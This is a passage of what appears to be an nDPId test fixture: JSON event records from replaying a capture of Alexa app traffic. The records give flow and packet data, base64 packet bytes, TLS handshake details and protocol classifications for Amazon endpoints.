5741It8k+IcQsVvfEWZnzZVj++ZrRghDuDaelhaYjtfEtuCcRl2XLaC0Vyr7WvwrAnbaxMqvpKDzYHBnoaD44xqPdQebK0ndvsReQF8fwi9e+1c2EqE2Mty6W9mPNp4RmkPeEUxtWfYY5gwqsJYyMiJZ2mCO2TCgrM\/pZcetKENpBLr8yxTdFJew3\/BGEmFTNQqarjkXnKqHjOU14iLMeQBvPK69sU\/sTCV9irGoXjELkaDrST6UiRVL3KHEquXHXkE1yJ5CQwnzW\/xdMYG2w15pQkMydBwe1GXHKUp1QqTOYTT6NqbgaantRMZUOlXaLDfg9xDru1M8qVig8U+ZPUDJcW189JEkNhp7jvzg+WXWdwY7bDL\/OmgtygpA7j0InF13CLZZgRAgee4pKoP3jrOsHtfYGS0V\/yHAhZ3UpZYBkeSc+Ib8M1aIs7SJyRTZDDaEJismsLXCFuXq9wK7DjHNvfhz4DUHstyeP4esI8NCt6xyx7T5w5bMw7sVQdnqJMc+2Nk\/7F2h+eBxwAr6Xah"} +00430{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":796,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1490976055356,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00404{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":796,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976055,"pkt_ts_usec":356710,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAABAMDKkaPvCABGwAAgAABAAAECBBcAAAAA4AAAAZQEAAARZO6bAAAAAA=="} +00462{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":796,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1490976055356,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00445{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":800,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976056,"pkt_ts_usec":451595,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8G7JAAEAGvmesECrYCsl+8Z0IH5CvoFXQAAAAAKAC\/\/\/QAAAAAgQFtAQCCAoA9lRcAAAAAAEDAwg="} +00445{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":801,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976056,"pkt_ts_usec":720767,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WzZAAEAGfuOsECrYCsl+8Z0KH5BhrRWqAAAAAKAC\/\/9d\/AAAAgQFtAQCCAoA9lR4AAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":802,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1490976057977,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45688,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":802,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976057,"pkt_ts_usec":977153,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8quhAAEAGnAasECrYNF7ohrJ4AbvwDv4cAAAAAKAC\/\/9b6AAAAgQFtAQCCAoA9lT0AAAAAAEDAwg="} +00426{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":29112,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw9qRAAOcGqVU0XuiGrBAq2AG7snh1d2z38A7+HXASH\/7rbgAAAgQFtAEDAwY="} +00413{"flow_id":60,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":804,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":30172,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoqulAAEAGnBmsECrYNF7ohrJ4AbvwDv4ddXds+FAQAVc14AAA"} +00737{"flow_id":60,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":805,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":32132,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXqupAAEAGmymsECrYNF7ohrJ4AbvwDv4ddXds+FAYAVeo8gAAFgMBAOoBAADmAwMoaRx1UdIM893OKMmXrcWPDPO7AujafDygNOivm9PC5iCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgKirMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9GhoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACGpqAB0AFwAYenoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":805,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":60,"flow_packet_id":4,"flow_first_seen":1490976057977,"flow_last_seen":1490976058032,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45688,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00534{"flow_id":60,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":806,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":82623,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9+TBAAOcGpnw0XuiGrBAq2AG7snh1d2z48A7\/DFAYf\/grMQAAFgMBAEoCAABGAwFY3n06YnWpXQ3KkZkNmnBbnjScZILp4v2nCTgeJCnodCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":806,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":60,"flow_packet_id":5,"flow_first_seen":1490976057977,"flow_last_seen":1490976058082,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45688,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00489{"flow_id":60,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":807,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":82765,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABd+TNAAOcGppk0XuiGrBAq2AG7snh1d21N8A7\/DFAYf\/jnbAAAFgMBADB2ISI7ic+YHEik9OHUqENQACfM8Us2ZYbtF3T4R9O9hQhS2mrApgCURbQdUSxBJUI="} +00413{"flow_id":60,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":808,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":83814,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoqutAAEAGnBesECrYNF7ohrJ4AbvwDv8MdXdtTVAQAVc0nAAA"} +00413{"flow_id":60,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":809,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":84094,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoquxAAEAGnBasECrYNF7ohrJ4AbvwDv8MdXdtglAQAVc0ZwAA"} +00496{"flow_id":60,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":810,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":84678,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjqu1AAEAGm9qsECrYNF7ohrJ4AbvwDv8MdXdtglAYAVemOwAAFAMBAAEBFgMBADAGiYPTjtc9vV0eZCdoXLYDiIFDSB+hhP0S\/xH44I8pcXYammORqSdnhTA9NLhVxu8="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":811,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1490976058103,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34041,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":811,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":103747,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA87D9AAEAGJ+usECrYNu8YuoT5Abs\/ELk9AAAAAKAC\/\/9McwAAAgQFtAQCCAoA9lUCAAAAAAEDAwg="} +02388{"flow_id":60,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":812,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":105365,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcqu5AAEAGlmCsECrYNF7ohrJ4AbvwDv9HdXdtglAQAVdhAgAAFwMBACDP+2912In+jSNGMDyrCl6xvO0krdSFnGE+8myRyRumrRcDAQfgjOms7zQQKC7i7kgWur4n1hKz4N57UV9qK9y4uZJBTIcr4HeD76X7UNU4uRU9oFrDDx99D+lL0oK7lFpAxdCwB2qdifpS+8NtZ6TV2PqF4AGls8Mm4s2CJeL1nxz+OAOaJalxJfk8cf2jA3AOn5cLsiczcZFfhlI0qNgkYCArgn3nPjZc6ZCTCevr5+0HZPc1NdRpP0WDnTyKloDbz3hgOCgSAHKJQxq9CWP3XDu\/OE0166LJ1Iz9DsuRJkDyjYjHklxyXz2wocQvM1D6znG3cGcbm9kIMhGQ8HaQspbnkP4GSPYRXjhuzjHV5dq1GHWf8Lyw57jWNDjKeT\/vkdJOTGfg76IW1zkVptcnZG7neJ8U27nDOGC+9YxqCNj5YytIqmXRO32ReN04W+eFl86W4s2o632NZUAgWQdGwjsEmrNswatr0cB10EbJkNngWCyCD8ZL2qgqZh6jqmZ38LqIPImrWgSkOF8C4rMQRyxdSigDiB+ctIsGCfBmElejvymGxH4iPBVKg2vn7GwrtP3zVGj5OUwVikMH1Kucz7IUu86wXXZvlF4F\/P6WZulUGKc8R85YHV9laXCwmVDFpZEAf\/qBl9lYEL01+PRMm1WVjk0MhVm\/AMxL7LQKTlPdPMgWgpX4NwdYxXQMisls16syAR1XC+\/J5YTS54G4POvyRyk\/obGFWymoO4rOY3KvC4Koeta7PYqaPDlLqatApLYJreUNFeP13C4Q+WMToiglA1OS4d\/CpDMcCiRtSk4v+zQxL0NopaTmFNOqVBJ344hHQtUnGErmWOCKcl94yz\/Z27ndvaigSi6J8b17jgJG5+b31RZTYu4rsHnLoChQy8tOTd2dWgdiioNaEvwO7fcn9m\/bmUQhJ61biPprXJc7UAEDfAZDzl\/ql6z22qifWYhv0ewbn83N1dys2uNq2eCW5DWPPNFkeimpaBK6KdhtJk93hxPHdAVai1UW+IPSQfo01yPHY8FVjl3DbKKGz0iwVmt7oZyz0Cz06JTkjAMdjZS0JVbGRNkcdX+KIhrMHy+Pej91LFZk3NfWC2ydeekgYEPoXSMuNQRp99kZKSmvpas19YFvZWBEP76w6LlAzTWBxVt5QjvTRewdLd5uX1CXDvuC5SuwnYy0u+Xs18Hko6wO9F1BJi9+aqEFt\/x++Iw9RbkaU0EGqH5RF82UBmKjEWeSsv3SjjCwdRYCx0Xha0nOXKIEGE+WyLMeyNORZ04Ju9bszoAnWSZ8vW3rnrlHjv3OztImeybcZjBWDaTHjEGPqcjy8569U2dcYPsnE6c97rbuvOwkiAINx3ildi9sz7TIKWO\/VUik51JzS2U02GcLK1eK54+43HeARgtT3BFil1kf8aQL1ZPZTag2mGCgIDPIOUA3GOJ6UwQiUnR34OgUcXPwKd+zPFamH1o3XUYwNYEdYbi+wKdl7t\/D\/CfrqRTS5Xnudlf\/tPYT2gPp2hTs3A8uU18HGeAnIq\/hCf\/0r1smN8AJJ3J9llrmQO2hO0fX9h4uJgRXFJiLJeKLtYED5oMO+4wPLAgk1LlaHW1Ez3Gl8YQzOCrSG7gqBRuha7d5+9ZqEIvSav++lmPfuqjQk70A5NyqiO5PZW0G8T0EyplG\/flXyrjOXj7E4av2TkayaLfMvIbPhidd3tYVH2Kzo57q7bt8ZG7KvfQUfhPavuKjvPsONe1NeUWmJhu1zmcjh1K0pUS3rKLjyXJu+EDTBGCjivB71J17QC6VtiAPbpyl5np4vYtgprHAsvLqZ0wdY98iEwyB70BoEOsLMxHiahduvg1VtcvYQNPRcMKlFMPhogcCoSkh1GCKy4ZQ5B7DXLWUUHJkZwu8JpKphR3DF9O77kBHUy63v2tPTNgp47kyoMm63Bi1UHo="} +01230{"flow_id":60,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":105655,"pkt_caplen":652,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":652,"pkt_l4_len":618,"pkt":"AMDKkaPvePiC0\/vCCABFAAJ+qu9AAEAGmb2sECrYNF7ohrJ4AbvwDwT7dXdtglAYAVf3jAAAunsmxzOkqcDVQm7oo1IktB8VpxfhIVUPjxAKg1+X9uU36oNz8x\/epm9P8SsDLDcRkmXf\/1jzWFTFdt5V6rw0U+cxMYxZ18WsD+kiPXrxRpPk59B0wAW7OVOkQpqtaLsdxlRbT+HrzbkiXwkS+UJnMlWnz+3z3KyC94kEnyv3L3T17Rg90nTq3vx+52\/ltv40\/CaWndbYsLSAyXD\/AZk6yocpcx\/PeHB+hk7pR1h30sJcrIzkFRnAdY1KNaqHvle4RkBQxGVKM5SE79yjxo82yJW8+eqQJfPtji7U7K\/St3cnKsf6A4vZvVwTnxANbGC6HqhpCEc9iXjbyNc+E+GxzqzXKV+gBiDrZ9lXHn1j3QBRzh1F\/AU4LjYNnORtkcIEtJ\/tSth5yVQRml7aZdgD3DJG3PmDOJW6Rf9tymLEqPEix8qwoHlwCdio1+qKtgbN1hMW0ea8pmUBC0c8Ngu1xiMKfBw218ba2lMTOHJUDYalfYmC7RUTh81w7TCF46bnoadJpudbkjO2PUOeGMZ0cSS+sPGpMZgP0rPw9l1zwJoe+U8TMf+K+Kq1XR16\/5kfortUa5KHd\/DDAKHGy4ywxmO9ZrqZowanW9GTWCIHyzeMAXqwN+DSJvUonlm8MM+QMGJpXUIVIsBiVjNs2InPW11vJLL0tA3VrA5RJs6Y9TWUsTK2g8SlidtfG1CTfo4TCLh0VRiVStfhrdgQgf3TctsTV16CYdTP+eXbE\/ad6WRIfWgXwd24+nIVAoa7cUBKBh6DnIQqYyzJXBSJdqSCpLstlQg0Wg=="} +00426{"flow_id":60,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":814,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":134498,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo\/DlAAOcGo8g0XuiGrBAq2AG7snh1d22C8A7\/R1AQf\/e1iwAAAAAAAAAA"} +00427{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":815,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":160050,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw5wBAAOcGhjU27xi6rBAq2AG7hPl2s2uGPxC5PnASH\/7cPAAAAgQFtAEDAwY="} +00416{"flow_id":61,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":816,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":162207,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo7EBAAEAGJ\/6sECrYNu8YuoT5Abs\/ELk+drNrh1AQAVcmrgAA"} +00769{"flow_id":61,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":817,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":166385,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AMDKkaPvePiC0\/vCCABFAAEr7EFAAEAGJvqsECrYNu8YuoT5Abs\/ELk+drNrh1AYAVfN+AAAFgMBAP4BAAD6AwMOUC6Wi9btijW5bAYVZWtISVWnuZZb\/u1xZk+ZAvvymiAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LgAgCgrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACRKioAAP8BAAEAAAAALAAqAAAnbW9iaWxlYW5hbHl0aWNzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIWloAHQAXABiamgABAA=="} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":817,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":61,"flow_packet_id":4,"flow_first_seen":1490976058103,"flow_last_seen":1490976058166,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34041,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00425{"flow_id":60,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":818,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":184433,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo6jNAAOcGtc40XuiGrBAq2AG7snh1d22C8A7\/R1AQf\/e1iwAAAAAAAAAA"} +02388{"flow_id":60,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":819,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":200181,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcqvBAAEAGll6sECrYNF7ohrJ4AbvwDv9HdXdtglAQAVdhAgAAFwMBACDP+2912In+jSNGMDyrCl6xvO0krdSFnGE+8myRyRumrRcDAQfgjOms7zQQKC7i7kgWur4n1hKz4N57UV9qK9y4uZJBTIcr4HeD76X7UNU4uRU9oFrDDx99D+lL0oK7lFpAxdCwB2qdifpS+8NtZ6TV2PqF4AGls8Mm4s2CJeL1nxz+OAOaJalxJfk8cf2jA3AOn5cLsiczcZFfhlI0qNgkYCArgn3nPjZc6ZCTCevr5+0HZPc1NdRpP0WDnTyKloDbz3hgOCgSAHKJQxq9CWP3XDu\/OE0166LJ1Iz9DsuRJkDyjYjHklxyXz2wocQvM1D6znG3cGcbm9kIMhGQ8HaQspbnkP4GSPYRXjhuzjHV5dq1GHWf8Lyw57jWNDjKeT\/vkdJOTGfg76IW1zkVptcnZG7neJ8U27nDOGC+9YxqCNj5YytIqmXRO32ReN04W+eFl86W4s2o632NZUAgWQdGwjsEmrNswatr0cB10EbJkNngWCyCD8ZL2qgqZh6jqmZ38LqIPImrWgSkOF8C4rMQRyxdSigDiB+ctIsGCfBmElejvymGxH4iPBVKg2vn7GwrtP3zVGj5OUwVikMH1Kucz7IUu86wXXZvlF4F\/P6WZulUGKc8R85YHV9laXCwmVDFpZEAf\/qBl9lYEL01+PRMm1WVjk0MhVm\/AMxL7LQKTlPdPMgWgpX4NwdYxXQMisls16syAR1XC+\/J5YTS54G4POvyRyk\/obGFWymoO4rOY3KvC4Koeta7PYqaPDlLqatApLYJreUNFeP13C4Q+WMToiglA1OS4d\/CpDMcCiRtSk4v+zQxL0NopaTmFNOqVBJ344hHQtUnGErmWOCKcl94yz\/Z27ndvaigSi6J8b17jgJG5+b31RZTYu4rsHnLoChQy8tOTd2dWgdiioNaEvwO7fcn9m\/bmUQhJ61biPprXJc7UAEDfAZDzl\/ql6z22qifWYhv0ewbn83N1dys2uNq2eCW5DWPPNFkeimpaBK6KdhtJk93hxPHdAVai1UW+IPSQfo01yPHY8FVjl3DbKKGz0iwVmt7oZyz0Cz06JTkjAMdjZS0JVbGRNkcdX+KIhrMHy+Pej91LFZk3NfWC2ydeekgYEPoXSMuNQRp99kZKSmvpas19YFvZWBEP76w6LlAzTWBxVt5QjvTRewdLd5uX1CXDvuC5SuwnYy0u+Xs18Hko6wO9F1BJi9+aqEFt\/x++Iw9RbkaU0EGqH5RF82UBmKjEWeSsv3SjjCwdRYCx0Xha0nOXKIEGE+WyLMeyNORZ04Ju9bszoAnWSZ8vW3rnrlHjv3OztImeybcZjBWDaTHjEGPqcjy8569U2dcYPsnE6c97rbuvOwkiAINx3ildi9sz7TIKWO\/VUik51JzS2U02GcLK1eK54+43HeARgtT3BFil1kf8aQL1ZPZTag2mGCgIDPIOUA3GOJ6UwQiUnR34OgUcXPwKd+zPFamH1o3XUYwNYEdYbi+wKdl7t\/D\/CfrqRTS5Xnudlf\/tPYT2gPp2hTs3A8uU18HGeAnIq\/hCf\/0r1smN8AJJ3J9llrmQO2hO0fX9h4uJgRXFJiLJeKLtYED5oMO+4wPLAgk1LlaHW1Ez3Gl8YQzOCrSG7gqBRuha7d5+9ZqEIvSav++lmPfuqjQk70A5NyqiO5PZW0G8T0EyplG\/flXyrjOXj7E4av2TkayaLfMvIbPhidd3tYVH2Kzo57q7bt8ZG7KvfQUfhPavuKjvPsONe1NeUWmJhu1zmcjh1K0pUS3rKLjyXJu+EDTBGCjivB71J17QC6VtiAPbpyl5np4vYtgprHAsvLqZ0wdY98iEwyB70BoEOsLMxHiahduvg1VtcvYQNPRcMKlFMPhogcCoSkh1GCKy4ZQ5B7DXLWUUHJkZwu8JpKphR3DF9O77kBHUy63v2tPTNgp47kyoMm63Bi1UHo="} +00422{"flow_id":61,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":820,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":218027,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoRuVAANsGMlk27xi6rBAq2AG7hPl2s2uHPxC5PlAQARwm6QAAAAAAAAAA"} +00422{"flow_id":61,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":821,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":221852,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoRuZAANsGMlg27xi6rBAq2AG7hPl2s2uHPxC6QVAQASwl1gAAAAAAAAAA"} 